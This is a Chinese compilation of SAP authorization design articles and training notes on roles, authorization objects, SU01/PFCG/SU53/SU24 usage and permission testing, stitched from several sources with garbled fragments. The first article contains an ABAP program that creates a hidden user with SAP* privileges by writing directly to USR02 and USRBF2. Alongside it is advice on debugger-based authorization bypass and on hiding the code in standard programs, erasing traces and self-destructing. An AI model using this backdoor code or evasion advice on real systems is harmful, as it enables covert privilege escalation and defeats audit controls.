SAP权限设计
小技巧-ERP权限控制繁中求简, 闲聊一下SAP复杂权限设计的基本思想。
特别是适合大集团业务的ERP系统,应该提供一个非常完善的权限控制机制,甚至允许将权限控制字段细到字段级别，如果权限控制都做不到这点，估计产品销售就够呛！多年以前，俺还在软件幼稚园时，老师布置的权限作业，权限大概是设计的：Select 用户名 From 用户表 where 用户名='butcher' （得到用户名）select权限组ID From 权限表 where 用户名='butcher' （得到用户对应的权限组ID）select * From 权限控制列表 where权限组ID = ‘*****’（得到没个权限组ID对应的明细权限列表也就是用户的明细权限）这种简单的权限设置是无法满足复杂的业务需求的，多年以后，居然国内还有很多软件公司在权限设计上还在玩这套小把戏。
现在来看看“伟大的”SAP的权限设计思路，首先了解下几个Tcode和权限相关表格。
常用权限相关T code .(一)Role(角色)相关T-code:PFCG 创建ROLE_CMP 角色比较SUPC 批量建立角色profile(二)建立用户SU01 建立用户SU01D 显示用户SU2|SU3| SU50|SU51|SU52 改变/显示用户个人参数SU10|SU12 批量维护用户SUCOMP维护用户公司地址SUIM 用户信息系统（强调一下）(三)建立用户组SUGR| SUGRD_NA V 维护用户组SUGRD| SUGR_NA V 显示用户组(四)维护检查授权SU20|SU21自定义授权字段和授权对象SU53 当出现权限问题可使用它检测未授权对象.SU56:分析authoraztion data buffers.常用权限相关表格:TOBJ : All avaiable authorzation objects.(ERP系统默认的所有授权对象)USR12: 用户级authoraztion值USR02:User Logon Data(包括用户名称密码,是否锁住等字段)USR03:User address dataUSR05:User Master Parameter ID(Tcode SU3可查看用户参数文件的参数ID默认值)USR41:当前用户(即Tcode SM04看到的所有当前活动用户,包括各种对话系统通信类用户) USRBF2:记录当前用户所有的授权objectsUST04:User Profile master(用户主数据中对应的权限参数文件名)UST10S: Single profiles(授权文件,权限参数和授权对象对应表)UST12 : Authorizations(具体授权细节)重点提示：USR02/USRBF2/UST10S/UST12四个表包含的信息就是ERP权限控制的关键，USR02是用户主数据表，后三表和用户授权紧密相关。
我现在举一个MM01建立物料主数据的实例，来说明SAP的权限控制设计思路，步骤如下：第一步：建立角色（Tcode：PFCG）图1中，假设建立角色ZMM01。
图1-[1][2]：在菜单Tab页选择“事务“加入MM01->创建物料&,你还可为程序,查询这样的报表授权，选择”其它“还能为数据仓库等对象设置权限角色。
图1-[3][4][5]：到“权限“Tab页看到系统自动产生的授权参数文件Profilname T-C1550437，然后选择”更改授权数据“，进入图2。
显然系统并不意味你给了建立物料的权限就能随意使用该Tcode了，系统有更严格的细致控制。
图2-[1][2]：我们可以看到建立物料主数据的权限分公司代码层次，仓库层次，物料类型层次，销售组织层次，物料组层次，和工厂层次等等，特别是对于象公司代码，销售组织和工厂这样的组织层次授权字段，控制点是非常必要的，一个大集团实施ERP，各公司代码，各公司代码下的各Plant授权用户只能建立各自的物料，现在来看看是如何控制到工厂级别的。
图2-[3][4][5]：在每个控制级别（即权限控制字段）都分控制字段和作业，每个权限控制字段对应一个所谓的授权对象，工厂的授权对象是M_MATE_WRK,所有授权对象的作业统一都是ACTVT,包括01/02/03/06/08五个作业,即控制是否允许创建更改显示删除等。
比如MM01的作业只给03->显示，则只能显示物料。
注：如果有特殊权限控制需要，可以使用SU20|SU21自定义授权字段和授权对象图2-[6][7]：点击“工厂“，进去增加工厂权限，设置了工厂FRA1，FRA2和一个工厂范围FRM1-FRM2。
注：如果公司代码，物料类，物料组，工厂等授权字段选择*表示允许输入该字段所有的内容。
接下来，使用SU01建立一个用户假设名叫butcher，然后在此将角色ZMM01分配给它，如图3，记得要做“用户比较“知道该按纽变绿，这和人带的帽子不同，在角色设置中，越绿越好，至此，一个最简单的权限设置就Ok了，用户butcher只能使用MM01在工厂FRA1，FRA1，FRM1，FRM2四个工厂上建立物料主数据。
现在来检查USRBF2/UST10S/UST12三个和用户授权相关的表格数据，如图4，图5和图6。
图4是用户参数文件表USR10S和用户授权表USRBF2的合成图。
图4-[1][3][4][6]：UST10S表的参数文件T-C1550437正是图1-[4]中定义角色ZMM01时生成的参数文件，对象表示的即授权对象，每个授权对象对应一个图4-[6]的权限名称T-C155043700| T-C155043701，这俩权限名称正是参数文件T-C1550437文件+系号。
图4-[2][5]：用户授权对象表USRBF2包含了ERP用户BUTCHER所对应的（授权）对象和对象对应的权限名称，现在注意一下USRBF2表用户BUTCHER包含了工厂的授权对象M_MATE_WRK,其对应的授权名称是T-C155043700，那么图2-[7]设置的四个工厂FRA1，FRA1，FRM1，FRM2保存在什么地方呢？请见图6。
为什么一个参数文件T-C1550437产生了两个T-C155043700| T-C155043701权限名称呢？查看权限对象设置时发现，在仓库授权对象M_MATE_LGN和销售组织/分销渠道授权M_MATE_VKO下系统竟默认了两次相同的授权作业，如图5。
图5表示建立物料主数据的仓库号和销售组织/分销渠道默认授权了两次。
图6中，可以看到授权对象M_MATE_WRK(即工厂授权对象)有5条记录,其中字段ACTVT有01,06两条,分表表示允许建立和删除物料数据,工厂WERKS有三条,正是FRA1,FRA2,和值FRM1到值FRM2，如图6-[2][3]。
至此，权限设计的基本逻辑就非常清晰了，如果用户BUTCHER要建立某工厂的物料，首先从授权表中查看是否有M_MATE_WRK的授权对象，然后再到UST12去检查输入的工厂是否在授权范围，If not so，则提示未授权。
现在用户BUTCHER建立物料主数据，输入工厂1000，提示M3 855未授权处理工厂1000的主数据，如图7。
通常有两种便捷方法查找到权限控制逻辑:(1).SE91输入M3 855查找，(2).直接在物料主数据建立程序中查找，一定能看到该主程序的子程序下到处都有象图7-[4]的AUTHORITY-CHECK OBJECT ‘授权对象名称’ID ‘ACTVT’‘作业允许号’ID ‘授权字段‘ FIELD ‘用户输入内容“这样的权限检查逻辑。
如果你了解了这个原理,那么有跟踪程序和修改变量的权限(对应授权对象S_DEVOP,02,只要你稍微熟悉ABAP，实际上你就拥有了一切权限。
下面的附件是一个使用跟踪/H并修改授权返回变量的操作手册。
跟踪获得权限操作.doc回顾这个实例，注意以下三点。
[1].创建角色Role将产生一个授权参数文件Profiel Name 。
[2].一个授权参数文件包含许多授权对象Authority Objects,实际上是如果将多个Tcode或报表或起其它什么的赋予一个Role,系统将这些Tcode(或报表)对应的授权对象带出,这些授权对象当然在Tcode(报表对应的)程序逻辑中会有体现,则角色对应的授权参数文件将包含这些授权对象。
[3].授权对象通常有两部分组成：一是作业ACTVT，作业号分别是：01 创建或生成02 更改03 显示06 删除08 显示修改文档二是授权字段，这些授权字段通常是诸如组织结构层次的公司代码，工厂，或其它比如物料类型，凭证类型等，这样可以做到更细微的权限控制。
到现在为止,我们知道，实际上决定权限的是授权对象Authorization Object! 用户的授权对象表在USRBF2中，所以只要往这个表插入数据就获得了权限，现在可以使用SE38建立用户和授予权限,这意味着使用ABAP可以迅速获得所有权限。
不妨假设一下，一个ABAPer在开发机上建立这样的程序，然后传输到生产系统？Basis 能发现？理论上，高明的ABAPer是不大可能被发现的，它可以将这段代码甚至移值到一段很不常用的标准程序比如Query，Report painter产生的自动程序上，并且在程序中填加删除一切痕迹的代码，甚至可以设置好自毁该段程序,绕过Access Key修改标准程序也是轻易的！下面的程序ZCRTUSER是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限的参考程序。
Program ZCRTUSER.Data ZUSR02 like USR02 .***1.Create User ZSTHACKER according to DDICselect single * into ZUSR02 from USR02where BNAME = 'DDIC'.ZUSR02-BNAME = 'ZSTHACKER'.ZUSR02-Bcode = 'E3B796BB09F7901B' .insert USR02 from ZUSR02 .***2.Copy Auth. Obj from SAP*(or other)***如果将Where BNAME = 'SAP*'去掉，基本就是复制所有的授权对象data ZUSRBF2 like USRBF2 occurs 0 with header line.select * from USRBF2 into table ZUSRBF2where BNAME = 'SAP*' .Loop at ZUSRBF2.ZUSRBF2-BNAME = 'ZSTHACKER' .Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.endloop.INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.如果SAP*可能被删除,还可直接将TOBJ中包含的所有的ERP授权对象全部赋予给一个用户。
浅谈SAP权限设计
浅谈SAP权限管理——基于安徽电力权限设计SAP R/3 系统是基于ERP（企业资源计划）技术的一个成熟产品，在国内外大中企业中广为使用。
该系统主要包括财务管理、物资管理、项目管理、人力资源等多个功能模块。
其中，权限ERP初上线时，企业比较注重系统的流程设计、系统的稳定运行，而对权限设计不够重视。
并且绝大多数权限设计是在系统建设时期，一方面由于当时对SAP权限管理缺乏全局意识，另一方面建设人员对于实际业务没有充分的认识，因此设计的权限难免会存在问题和风险。
本文将结合安徽电力SAP权限设计来阐述权限设计常存在的问题及解决方案。
一、企业用户权限存在问题（1）没有一套清晰明确的授权规则。
企业用户量比较大，随着系统应用的深入，各种功能增加，用户都要求给自己增加权限。
这样对于权限管理人员来说，面对大量的申请似乎并不能找到一个明确的标准。
于是部门主管审批便成了一个最为有效的解决方案；（2）用户权限有被逐渐放大甚至失控的危险。
SAP系统内的权限管理是以“角色”这一概念展开的，一个“角色”上分配了体现功能权限的一组功能事务码（T-Code）和体现限制的授权参数文件（profile）。
假如，在SAP 系统中给每位用户建立一个角色，并且此角色只分配给一个用户，那么某一角色内的某一个权限的变动也就不会对其他用户的权限产生任何影响。
但是，企业一般都不会这样做，因为如果用户数量多的话，系统中角色体系就会过于庞杂。
而且同类型的用户角色之间的差异可能很小，这会导致数据的冗余变得很大。
一般的做法是在系统建立一套通用角色、复合角色、单一角色所构成的角色体系来进行授权。
也就是说，一个系统角色可分配给多个系统用户，这样就会出现某用户的需求而改动某一角色的权限，从而影响到此角色所对应的其他用户权限。
即此角色所对应的所有用户都会同时增大或减少权限；（3）职责分离体系不能被有效建立和执行。
用户权限不仅决定谁有权做什么，而且还体现了权限之间的相互制约关系。
SAP权限设定讲稿
SAP权限设定讲稿一、简介在企业资源计划（Enterprise Resource Planning，简称ERP）系统中，SAP是其中一种常用的软件解决方案。
SAP系统的权限设定在企业信息化管理中起着重要的作用。
本篇讲稿将介绍SAP权限设定的基本概念、目的和步骤，并重点讲解权限的分配与管理。
二、SAP权限设定概述2.1 权限设定的定义权限设定是指企业在使用SAP系统时，根据用户的角色和职责，对其进行功能、数据和业务流程的访问控制。
通过权限设定，可以确保用户只能访问其工作所需的功能和数据，从而保证系统的安全性和数据的完整性。
2.2 权限设定的目的权限设定的主要目的是保护企业数据的安全性和可靠性，防止未经授权的人员访问和操纵企业敏感信息。
同时，权限设定还可以提高工作效率，根据用户的需要提供简化的界面和功能。
三、SAP权限设定步骤权限设定的过程通常包括以下几个步骤：3.1 了解企业需求在进行权限设定之前，需要充分了解企业的业务需求和工作流程。
通过与企业的相关部门和人员进行沟通，明确不同用户角色的职责、工作内容和所需权限。
3.2 角色设计与分配根据企业的需求，设计不同的角色，每个角色对应一组特定的权限。
角色可以根据用户的职位、部门或工作内容来进行分类。
在分配角色时，需要确保角色之间的权限不重叠，也不冲突。
3.3 权限设置在SAP系统中，权限通常以事务码、对象或数据元素的形式存在。
根据角色的设计，设置相应的权限。
权限设定可以通过SAP的访问控制列表（Access Control List，简称ACL）来完成。
3.4 测试和审批在完成权限设定后，需要进行测试和审批。
测试可以确保权限设定的正确性和完整性，审批可以确保权限设定符合企业的规定和要求。
3.5 权限管理和维护权限设定是一个持续的过程，需要进行权限的管理和维护。
根据企业的变化和需求，及时调整和更新权限，确保系统的安全性和高效性。
四、权限设定的要点与注意事项4.1 合理分配权限根据用户的实际工作需要，合理分配权限，避免过高或过低的权限导致的问题。
sap权限设计 例子
sap权限设计例子SAP权限设计是指在SAP系统中对用户的操作权限进行设置和管理，以保证系统的安全性和数据的完整性。
下面将列举10个符合要求的例子。
1. 用户权限分配：在SAP系统中，管理员可以根据用户的职位和工作职责，分配不同的权限。
比如，财务人员可以具有财务模块的相关权限，销售人员可以具有销售模块的相关权限。
2. 角色权限设计：管理员可以根据不同的角色，为用户分配相应的权限。
比如，销售经理可以具有销售订单的审批权限，而销售代表只能创建销售订单的权限。
3. 数据访问权限：在SAP系统中，可以根据用户的权限设置，限制用户对特定数据的访问。
比如，某些敏感数据只能由高级管理人员才能查看和修改。
4. 审计日志权限：管理员可以设置审计日志的访问权限，只有经过授权的用户才能查看和管理审计日志，以确保系统的安全性和数据的追溯性。
5. 系统参数权限：SAP系统中的一些重要的系统参数和配置需要管理员权限才能进行修改，以保证系统的稳定性和安全性。
6. 业务流程权限：SAP系统中的不同业务流程需要不同的权限设置，比如采购流程、销售流程、财务流程等，管理员可以根据具体业务需求为用户分配相应的权限。
7. 报表权限：SAP系统中的报表功能需要根据用户的权限进行设置，只有具有相应权限的用户才能查看和生成报表。
8. 批处理权限：SAP系统中的批处理功能需要管理员权限才能进行操作，以保证对系统的影响有限，并防止误操作引发的问题。
9. 系统维护权限：SAP系统的维护工作需要特定的权限来执行，比如备份数据库、重启系统等操作，只有具有维护权限的用户才能进行相关操作。
10. 数据导入导出权限：在SAP系统中，数据的导入和导出涉及到系统的数据完整性和安全性，需要管理员权限才能进行相关操作，防止非授权人员对数据进行篡改或泄露。
以上是关于SAP权限设计的10个例子，通过合理的权限设置和管理，可以保障系统的安全性和数据的完整性，提高系统的运行效率和用户的工作效率。
SAP_MM和WM权限设计
权限的概念——授权对象
例如: 事务 ME21N – 创建采购订单
用户必须具有下列对象才能够运行事务代码….
这些对象是进入并运行事务代码必需 的钥匙
权限的概念——对象参数
权限的概念——对象参数
“参数” = 特征
例如:
采购订单中的工厂的授权有两个参数
1
2
权限的概念——对象参数
可以对授权对象进行更详细的参数限制，有两种类型的参数:
事务:
SM35
SE38 FF_5
事务:
XK05
XK04 MB53
FEBP
F-04
MB24
权限的概念——用户
用户 IDs 基于业务要求而被分配给各适合的角色 用户可以运行他们所属角色中的各种事务代码 例如:
John Doe 角色: 会计师 仓库检验员 WO 创建者
TCODE1 TCODE2 TCODE3 TCODE4 TCODE5 TCODE6 TCODE7 TCODE8 TCODE9
权限设置方法
通用角色测试的目的
通用角色测试方法及要求
维护角色
• 事务代码——PFCG
– 创建、修改、显示角色
•
– 给角色添加事物代码
维护角色
• 事务代码——PFCG
– 更改授权数据
维护角色
• 事务代码——PFCG
– 添加权限对象、修改参数
维护用户
• 事务代码——SU01
– 修改权限
目录
权限概念回顾
相同点
不同点 无需维护组织 级别
联系及影响 为通用角色添加、删除事务时，继承于她的 本地角色同时也改变 继承于通用角色，通用角色被更改时本地角 色的事务代码和权限值同时被修改，但本地 角色保持各自原有的组织级别不变，用户只 能申请本地角色
sap权限的设定方法
SAP权限的设定方法什么是SAP权限SAP权限是指在SAP系统中对用户进行授权和访问的权限设置。
通过SAP权限的设定，可以控制用户对系统中不同功能模块、事务和数据的访问和操作权限，保障系统的安全性和数据的保密性。
SAP权限的重要性在企业中，SAP系统通常扮演着关键角色，涵盖了企业的核心业务流程和数据。
因此，对SAP系统的权限进行合理、有序的设定是至关重要的。
合理的SAP权限设定可以实现以下几个方面的目标：1.安全性：通过限制用户对系统中敏感数据和功能模块的访问权限，保障系统的安全性，防止信息泄露和错误操作。
2.合规性：根据企业内部和外部的合规要求，设置用户对特定数据和功能的访问权限，保证企业操作符合法规和规范要求。
3.效率：通过合理设定SAP权限，用户可以仅获得其工作所需的权限，提高工作效率，减少系统资源的浪费。
SAP权限的设定方法1. 权限规划在开始设定SAP权限之前，需要对企业的业务流程、组织结构和工作职责进行深入了解和分析。
然后，制定一个权限规划，包括以下内容：•角色分析：基于企业的组织结构和工作职责，将用户划分为不同的角色，每个角色代表一组拥有相似访问权限的用户。
•访问权限定义：根据企业的业务流程，定义每个角色所需的具体功能模块、事务和数据的访问权限。
•权限层级结构：确定权限的层级结构，确保角色之间的权限关系清晰，并能够适应未来的业务发展。
根据权限规划，开始创建和维护SAP系统中的角色。
角色是一组权限的集合，可以简化权限管理的流程，并降低错误设置的风险。
在创建角色时，需要遵循以下步骤：1.角色创建：通过SAP系统的角色维护工具，在系统中创建新的角色。
为角色命名并定义角色的描述信息。
2.权限分配：为角色分配适当的访问权限，包括功能模块、事务和数据的访问权限。
确保每个角色获得其工作所需的最低权限。
3.审批流程：根据企业内部的权限控制要求，设置角色创建和权限分配的审批流程，确保设定的权限符合企业的合规要求。
SAP权限的设定
业务需求分析
深入了解业务部门的需求，明确 用户在SAP系统中需要执行的操 作和访问的数据范围。
权限分类
将需求细化为具体的权限分类， ቤተ መጻሕፍቲ ባይዱ数据查询、数据修改、审批等 。
创建角色
定义角色名称和描述
为每个角色命名并提供清晰的描述， 以便用户了解其职责和权限。
配置角色所拥有的权限
根据确定的权限需求，为角色分配相 应的权限，如事务代码、报表、数据 范围等。
验证与反馈
对测试结果进行验证，并 及时收集和处理用户的反 馈意见，持续优化权限设 定流程。
04
CATALOGUE
SAP权限的安全控制
用户认证与授权
用户认证
确保只有经过身份验证的用户才能访问SAP系统，可以通过多因素认证、单点登 录等方式增强安全性。
授权管理
根据用户的角色和职责，为其分配适当的权限，限制对敏感操作的访问，防止未 经授权的访问。
数据安全性
数据加密
对敏感数据进行加密存储，确保数据 在传输和存储过程中的安全性。
数据备份与恢复
定期备份数据，并制定有效的恢复策 略，以防止数据丢失或损坏。
访问控制列表
访问控制策略
制定严格的访问控制策略，限制用户对特定功能、数据和信息的访问。
权限审查
定期审查用户的权限设置，确保权限分配合理且符合组织的安全要求。
及时更新权限
当组织结构或工作职责发生变化时，应及时更新相关 用户的权限，以保持权限与实际需求的一致性。
使用标准角色与自定义角色
使用标准角色
SAP提供了标准角色，这些角色已经预先定义了相应的 权限。通过分配标准角色，可以快速为新用户配置所需 权限。
适当使用自定义角色
SAP权限设计
权限相关1 权限的作用及基本概念介绍1.1权限的作用决定了用户在系统中能否进行某项操作；防止越权和失误操作发生，从而保证系统数据安全（核心作用）；权限工作的质量（好坏），是上线成功的基础之一；权限工作的质量（好坏），会直接影响最终用户对使用ERP系统的信息；1.2权限的基本概念①用户ID下可以包含多个角色（参数文件）；②角色（参数文件）下可以包括多个Tcode；③Tcode下包括多个权限对象；④权限对象下包括多个参数；⑤参数下包括多个参数值；1.2.1用户ID命名规则：如果启用HR模块，则可直接使用员工ID，否则要跟用户商量命名规则；（长度不能超过12位）（例如HR108）；1.2.2角色（参数文件），即岗位角色与参数文件是一一对应的关系，角色即岗位，权限的设置首先创建用户ID，然后给用户ID分配角色、参数文件；权限的维护有两种方式：一种维护角色、另一种维护参数文件（如果是创建角色点击自动生成的参数文件，不行，只能是单独的参数文件）；角色和参数文件是一一对应的，维护了角色，参数文件会自动带过来；角色分四类：①单一角色、②复合角色、③通用角色、④本地角色；可以把多个单一角色给一个ID；复合角色=多个单一角色集合；通用角色相当于模板角色，把模板制作好；本地角色就相当于复制或继承，继承与复制有区别，本地角色可以继承并一直关联通用角色，复制不存在关联；1.2.3事务代码（Tcode）角色里面有很多Tcode；相当于给你个保险箱；把MIRO的权限给了用户ID；1.2.4权限对象与Tcode相关，相当于打开保险箱的一串钥匙；比如：把MIRO的权限给了用户ID，就能做发票校验么？不能，必须配合权限对象，权限对象可以是一把钥匙，也可能是一串钥匙；权限对象里面包括：参数、参数值；1.2.5参数两种类型参数：①组织结构类型，如：公司代码、采购组织、工厂等；举例：做MIRO只给你6666公司代码的权限，7777公司代码你就做不了等等；②约束类型，如：行为、授权组合、采购凭证类型等；1.2.6参数值参数值：例如公司代码6666、5009；采购组织5108；工厂1081、1082；创建、显示/更改等等；1.3 权限数据收集模板我们作为业务顾问，先调研，如果公司比较大，权限多，我们会设置一个权限组交给几个顾问，专门负责权限，同时甲方企业也会成立个权限组，负责权限，我们相互沟通；调研制定权限，需要制定权限数据收集模板，这个模板要结合我们的企业需求（见excel资料）；举例：1.3.1 通用角色（模板角色）黄色：ZMM038是开发的Tcode；也要维护进去；Z-YKM-MM0001：中YCM是项目简称，MM表示模块，后面是流水号；Z-YKM-MM0001：是通用角色（模板角色）；此时设计角色要注意，要把所有权限包含在内，具体多少个因项目而异，一个tcode可以设置一个角色，两个tcode也可以设置一个角色，所有tcode设置一个角色也可以；X：表示使用这个tcode；1.3.2 本地角色通用角色不是直接使用的，只是个模板，真正使用输入SAP的是本地角色；Z-MM-6000-0001：6000指工厂，0001流水号；每个本地角色，有对应参考的通用角色，本地角色是复制通用角色的；后四列（公司代码、利润中心、工厂、采购组织）就是权限对象；1.3.3 用户权限表将本地权限分配给用户；这个模板将参数EVO和EFB也定义为本地角色了；这样分配权限后，用户ID就不用SU3维护相关参数了；原账号就是用户ID；将本地角色分配给用户ID；需要的角色就打个X；2 SU01创建用户及界面字段介绍可以新建、更改、显示在角色页签分配角色，有了相应的权限；地址页签：相应得个人信息、公司信息；登陆数据页签：1）用户类型：选A对话，其他的B\C等和BASIS相关；1）密码：可以维护密码；2）用户组：SAP授权方式可以以组的方式进行授权，都一样的给这个组授权就可以了，组页签也可以维护用户组；SNC页签：与VPN账号有关，创建后能从外网连接内网，BASISI负责；参数页签：就是SU3维护的参数；参数文件页签：权限的维护有两种方式：一种维护角色、另一种维护参数文件（如果是创建角色点击自动生成的参数文件，不行，只能是单独的参数文件）；角色和参数文件是一一对应的，维护了角色参数文件自动带过来；3 PFCG创建角色并分配用户演示：创建BASIS基本角色（SU3、SU53、SE36等），并分配给用户；SU53：评估权限检查，项目上用户没有某个tcode的权限，想添加，与权限组的顾问进行交流，用SU53可以查看缺什么权限对象，截图，然后把权限对象和截图告诉、发送给权限组顾问，权限组顾问给开权限；可以用Tcode，也可以点界面创建角色；正常只有BASIS有使用这个Tcode 的权限，有了这个权限啥都能干，功能权限最大的Tcode；进入后：户页签：可以将创建的角色关联到用户；也可以SU01角色页签关联角色；权限页签：最下面维护权限数据和生成参数文件，进入可以维护相应权限，比如SU53缺的权限都可以进入并维护上，维护完点保存--再激活；4 以MIRO为例：演示权限分配过程4.1 PFCG创建角色编辑抬头--保存--菜单页签添加事务代码：MIRO--保存--点权限页签；点击更改权限数据--是：显示出MIRO组织级别的限制：可以输工厂，或者*和点击完全授权一样不受工厂控制，任意工厂都行；保存；自动进到这个界面，红灯是不允许的，要维护改为绿灯，黄灯可以，最好也改为绿灯；彩色底的都叫权限对象；Tcode MIRO包括了多个权相对象；权限对象下还包括权限对象，最后是参数（作业和工厂），白底的是参数值；对黄灯参数值进行维护，自动变绿维护好，都变绿，点保存，点激活，一定要激活；然后后退；保存；户页签：可以将创建的角色关联到用户；也可以SU01角色页签关联角色；4.2 SU01创建用户编辑登陆数据页签：用户名，密码；地址页签维护：姓；激活不用管；角色页签：关联角色，参数文件自动带入到参数文件页签保存；此时，新建的用户ID：QIU108登陆系统，MIRO报错；还需要其他权限对象，还需要其他要是打开tcode miro；比如这个公司代码的钥匙；4.3 SU53查看缺少的权限对象新用户QIU108：SU53查看缺少的权限对象；（注意新用户要开SU53的权限）；会显示上一次错误，需要的权限对象，显示出来：权限对象F_BKPF_BUK；4.4 PFCG维护权限数据权限组顾问登陆，PFCG维护新用户的权限页签；红灯，需要维护，绿灯了--点上方激活--保存；新用户QIU108再MIRO就可以进入了，做业务可能还会红灯报错缺，查看错误信息缺权限对象，有的错误信息会带权限对象的编号，我们直接把这个编号发给权限组顾问，重复之前操作，维护权限数据；做MIRO时会用到的相关Tcode（MIR4、MIR5、MIR7、MBSS），我们也要添加到PFCG的菜单页签的角色菜单里，然后同理维护权限页签；4.5 PFCG通过复制菜单的方式，给关键用户授权以上是给普通用户授权（通过角色的方式）；如果是MM关键用户，MM关键用户其实和顾问的权限差不多，后勤所有的权限都要有，可以通过复制菜单的方式；相关的事务代码，就都带过来了；然后权限页签--生成参数文件--维护权限数据（因为是关键用户，全部都完全授权就可以了）；提示很多黄灯，我们不用一个一个点（可以直接点黄色三角确定就变绿了需要一个一个权限对象的点），点最上面一行中间有个黄色三角，点一下，再确定，就所有都变绿了；然后激活--保存；再把这个角色分配给关键用户；5 单一角色和复合角色把创建的单一角色，放到一起，就是复合角色；PFCG创建复合角色：角色页签可以输入角色；保存就行了，不需要维护权限数据；把这个复合角色分配给用户就行了；6 通用角色和本地角色通用角色也称根角色、母角色；本地角色也称派生角色、衍生角色、子角色；①本地角色需继承通用角色，但参数文件需要重新生成；②本地角色复制通用的组织级别数据；在更改权限数据界面，点击“复制数据”；③通常情况下，通用角色不需要做组织级别的限制，全部为*；④本地角色要做组织级别的限制，如工厂或采购组织的限制等；⑤通用角色的命名比较宏观，如Z-MM-MIRO；⑥本地角色的命名比较明确，如Z-MM-MIRO-1000-001；⑦更改通用角色，点击“生成派生角色”后，会同步更新本地角色；⑧如果时间来不及，也可以不用创建通用角色，直接使用本地角色；6.1 本地角色需继承通用角色，但参数文件需要重新生成PFCG创建单一角色，描述为通用角色，通用角色不分配关联用户ID；PFCG创建单一角色，描述为本地角色，在描述页签：来自角色：输入刚刚创建的通用角色；通用角色的信息就都带过来了；权限页签需要维护，维护参数文件，更改权限数据等；更改权限数据，可以不输入，点×；点复制数据--确定，自动复制母角色（通用角色）的权限数据；变绿灯；6.2 更改通用角色，点击“生成派生角色”后通常通用角色权限是不做限制的（比如组织级别都是完全授权*），所有权限都授权；本地角色的权限如果复制的通用角色，当通用角色做了更改，同时让本地角色发生更改，激活--保存后：点击生成派生的角色，会同步更新本地角色，这一步一定不要忘记，否则，两者不一致；由于通用角色授权的权限很多，所以真正限制权限是在本地角色，点击更改权限数据，对授权进行限制；将本地角色分配给用户，通用角色不分配用户；组织级别可以做限制：比如工厂、采购组织做个限制；权限对象的参数值，也可以维护做限制，点笔，或者双击空白；像MM03在权限对象参数值的编辑中，就可以控制显示哪些视图；7 角色的复制与继承共同点：都可以提高工作效率，都需要分配用户；不同点：①复制的新角色跟模板角色无后续关联，需要重新生成参数文件，而权限对象直接全部绿灯；②继承的新角色后续会保持跟模板角色的同步更新，需要重新生成参数文件，而且需要维护好组织级别后，权限对象才会全部变为绿灯；复制：继承：通常情况下用继承；复制看情况；8 权限相关TcodeSU01：用户维护；PFCG：角色维护；SUGR：维护用户组；SU10：用户批量维护；SU3：维护用户参数文件；SU53：显示用户缺失的权限数据；SU24：维护事务代码与权限对象之间的分配；SUIM：用户权限信息系统；8.1 SUGR创建用户组可以在SUGR创建用户组时将用户维护到组里，或者SU01用户维护时输入组；8.2 SU10用户批量维护财务常用这个tcode SU10；月结时要把所有用户的权限都锁定，啥也干不了，月结结束以后，再将权限开放；8.3 SU24维护事务代码与权限对象之间的分配比如我们创建MIRO角色，需要维护公司代码、供应商等等很多权限对象；能不能一次搞定，省的用SU53一个一个去查；SU24就可以直接查出需要哪些权限对象；或者根据权限对象查出哪些Tcode会用到；举例：①应用程序页签：MIRO--运行：可以显示出与MIRO相关的全部系统自带的权限对象；具体用哪个就得凭经验了；②权限对象页签：输入权限对象--运行：8.4 SUIM用户权限信息系统用处不大；比如：可以按用户分配查找角色、按Tcode查找角色等等；9 权限对象的查找①可以通过SU24来查找，另外SU24，还可以通过权限对象来反查Tcode;②可以根据前台权限报错，然后通过SU53的方式，来获取权限对应信息；③最好根据经验，把常用的权限对象总结的一个文档上，以便后用（可以收集模板时也把权限对象加入里面）；PFCG中权限对象显示技术名称：10 权限相关底表①AGR_USERS：用户与角色对应表；SE16输入底表AGR_USERS--筛序输入用户--运行出相关角色；或SE16输入底表--筛序输入角色--运行出相关用户；②AGR_TCODES：角色与Tcode对应表；SE16输入底表AGR_TCODES--筛序输入角色--运行出相关Tcode；或SE16输入底表--筛序输入Tcode--运行出相关角色；③查询用户ID对应的Tcode：SA38中运行程序RSUSR010；④其它：RSUSR_ROLE_MENU，RSUSRAUTH；不是底表也不是程序；与权限相关；11 其它①查看授权对象的技术名称：在更改权限数据界面，菜单栏--实用程序--技术名称打开；（笔记663页）②只能把角色分配给用户，不能把已生成的参数文件直接分配给用户；③但系统自带的参数文件可以直接分配给用户，如SAP_ALL，可以直接分配，而无需角色；④权限是并集，即如果有两个角色，一个设置只能查看物料主数据，一个能查能改，则此用户能查能改；12 权限的测试一般放到对最终用户进行培训的时候；基本上权限培训完，就开始进行上线了；权限的测试非常非常关键！！！12.1 权限设计时的注意事项①权限设计非常重要，而且一旦出现问题，排错非常繁琐、耗时，所以请大家在设计时一定要非常谨慎，每次更改都要记录；②权限设计不允许在测试、生产系统更改，必须在开发系统修改好后传到测试、生产系统（不仅权限，所有维护都是这样，保证系统之间的一致性）；③决定user权限的人不是IT人员，而是team leader，所以要变更用户权限，务必要求用户提供经过审核的申请表（上线后给用户设计word申请表：比如用户解锁、密码重置申请表；用户权限变更管理流程；用户角色权限变更申请表(业务顾问填写)；用户角色权限变更申请表(最终用户填写)）；④对于user不合理的权限要求，IT人员有责任退回；12.2 权限的测试①在权限测试过程中，最少应进行两轮测试，第一轮测试需对每个模块抽取一个种子角色（关联通用角色的本地角色）进行测试；②这个测试过程非常重要，在以后的角色创建过程中，都将会对这个角色（通用角色）进行复制操作；③因此，第一轮测试应该安排的时间最长，做的最完善，以免以后造成重复工作；测试都时候，要一个tcode一个tcode的测试，还要进行反向测试，比如你是采购员，要有ME21N的权限，ME21N测试完没问题，属于正向测试，然后我们权限顾问将ME21N的权限拿掉，测试采购员ME21N是否还能使用，叫反向测试，正向一遍反向一编；12.3 权限测试的注意事项①权限测试要重视，要指派专门的业务人员与权限管理员共同完成整个测试过程（测试的时候我们顾问不参与，有问题找顾问）；②每个事务代码都要测试，避免发生遗漏的现象；③根角色中的权限对象要避免重复，对于重复的权限对象要对其进行合并，在角色中避免出现红色OBJECT值的现象（权限对象那不能有红灯）；④修改权限对象(authorizition object)时要注意能否继续派生；⑤在做权限过程中，注意更新文档，与系统保持同步；13 权限的传输13.1 